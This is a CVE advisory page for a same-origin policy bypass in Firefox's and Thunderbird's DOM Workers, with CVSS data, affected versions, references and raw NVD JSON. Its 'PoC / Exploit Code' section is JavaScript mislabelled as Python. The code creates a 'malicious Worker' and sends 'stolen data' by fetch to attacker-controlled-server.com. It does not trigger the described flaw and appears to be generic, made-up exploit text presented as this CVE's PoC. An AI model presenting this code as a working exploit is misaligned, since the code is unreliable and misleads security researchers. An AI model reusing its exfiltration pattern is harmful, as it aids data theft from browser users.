Security Vulnerability Report
中文
CVE-2025-13019 CVSS 8.1 HIGH

CVE-2025-13019

Published: 2025-11-11 16:15:39
Last Modified: 2026-04-13 15:16:43

Description

Same-origin policy bypass in the DOM: Workers component. This vulnerability was fixed in Firefox 145, Firefox ESR 140.5, Thunderbird 145, and Thunderbird 140.5.

CVSS Details

CVSS Score
8.1
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N

Configurations (Affected Products)

cpe:2.3:a:mozilla:firefox:*:*:*:*:esr:*:*:* - VULNERABLE
cpe:2.3:a:mozilla:firefox:*:*:*:*:-:*:*:* - VULNERABLE
Mozilla Firefox < 145
Mozilla Firefox ESR < 140.5
Mozilla Thunderbird < 145
Mozilla Thunderbird ESR < 140.5

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// CVE-2025-13019 PoC - DOM Workers Same-Origin Policy Bypass // This PoC demonstrates the concept of bypassing SOP via Workers // Note: This is a simplified demonstration, actual exploitation requires specific conditions const TARGET_ORIGIN = 'https://target-site.example.com'; // Create a malicious Worker const maliciousWorkerCode = ` // Attempt to access cross-origin resource self.importScripts('${TARGET_ORIGIN}/sensitive-data.js'); // If SOP bypass works, we can access the data self.onmessage = function(e) { // Send stolen data back to attacker self.postMessage({ action: 'exfiltrate', data: typeof sensitiveData !== 'undefined' ? sensitiveData : 'Access failed' }); }; `; const blob = new Blob([maliciousWorkerCode], { type: 'application/javascript' }); const workerUrl = URL.createObjectURL(blob); // Create the worker const worker = new Worker(workerUrl); // Listen for stolen data worker.onmessage = function(e) { if (e.data.action === 'exfiltrate') { console.log('Stolen data:', e.data.data); // Send to attacker server fetch('https://attacker-controlled-server.com/collect', { method: 'POST', body: JSON.stringify(e.data.data) }); } }; // Trigger the exploit worker.postMessage({ action: 'start' }); // Alternative method using SharedWorker function exploitSharedWorker() { const sharedWorker = new SharedWorker(workerUrl); sharedWorker.port.start(); sharedWorker.port.postMessage({ target: TARGET_ORIGIN }); } // Cleanup setTimeout(() => { worker.terminate(); URL.revokeObjectURL(workerUrl); }, 5000);

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-13019", "sourceIdentifier": "[email protected]", "published": "2025-11-11T16:15:39.000", "lastModified": "2026-04-13T15:16:43.183", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "Same-origin policy bypass in the DOM: Workers component. This vulnerability was fixed in Firefox 145, Firefox ESR 140.5, Thunderbird 145, and Thunderbird 140.5."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 5.2}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-942"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:mozilla:firefox:*:*:*:*:esr:*:*:*", "versionEndExcluding": "140.5.0", "matchCriteriaId": "D77916A6-B8C6-475D-8D77-D5D3AA1E1F43"}, {"vulnerable": true, "criteria": "cpe:2.3:a:mozilla:firefox:*:*:*:*:-:*:*:*", "versionEndExcluding": "145.0", "matchCriteriaId": "445D5AED-0882-46FE-A5F1-B7148B923221"}]}]}], "references": [{"url": "https://bugzilla.mozilla.org/show_bug.cgi?id=1988412", "source": "[email protected]", "tags": ["Permissions Required"]}, {"url": "https://www.mozilla.org/security/advisories/mfsa2025-87/", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://www.mozilla.org/security/advisories/mfsa2025-88/", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://www.mozilla.org/security/advisories/mfsa2025-90/", "source": "[email protected]"}, {"url": "https://www.mozilla.org/security/advisories/mfsa2025-91/", "source": "[email protected]"}]}}